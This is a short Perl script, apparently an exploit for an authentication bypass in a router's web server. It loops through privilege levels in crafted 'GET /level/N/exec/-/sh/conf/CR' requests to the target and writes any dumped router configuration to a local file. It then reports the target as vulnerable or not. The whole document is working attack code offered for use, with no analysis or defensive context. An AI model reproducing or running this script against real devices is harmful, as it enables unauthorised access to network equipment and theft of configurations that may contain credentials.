# s0t4ipv6@shellcode.com.ar
#!/usr/bin/perl
use Socket;

if (!defined($ARGV[0]) ) {
		print "use: router-http.pl [hostname]\n";
                exit(0); }

$target=inet_aton($ARGV[0]) or die "Unknown host: $host\n";
$i=15;
$port=80;
$flag=0;

while ($i<100) {

my @results=sendraw("GET /level/".$i."/exec/-/sh/conf/CR HTTP/1.0\r\n\r\n");

open(TOUCH, "> $ARGV[0].conf");

foreach $line (@results){
        $line=~ tr/A-Z/a-z/;
	print TOUCH $line;
        if ($line =~ /http\/1\.0 401 unauthorized/) {$flag=1;}
        if ($line =~ /http\/1\.0 200 ok/) {$flag=0;}
}
        if ($flag==1){print "Not Vulnerable with $i\n\r";}
                else { 	print TOUCH "$line Vulnerable with $i\n\r";
			print "$line Vulnerable with $i\n\r";
       			$line=~ tr/A-Z/a-z/;
			chop($line);
        		print TOUCH $line;
			exit(0);
 			}
	close(TOUCH);
        $i++;
}
sub sendraw {
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}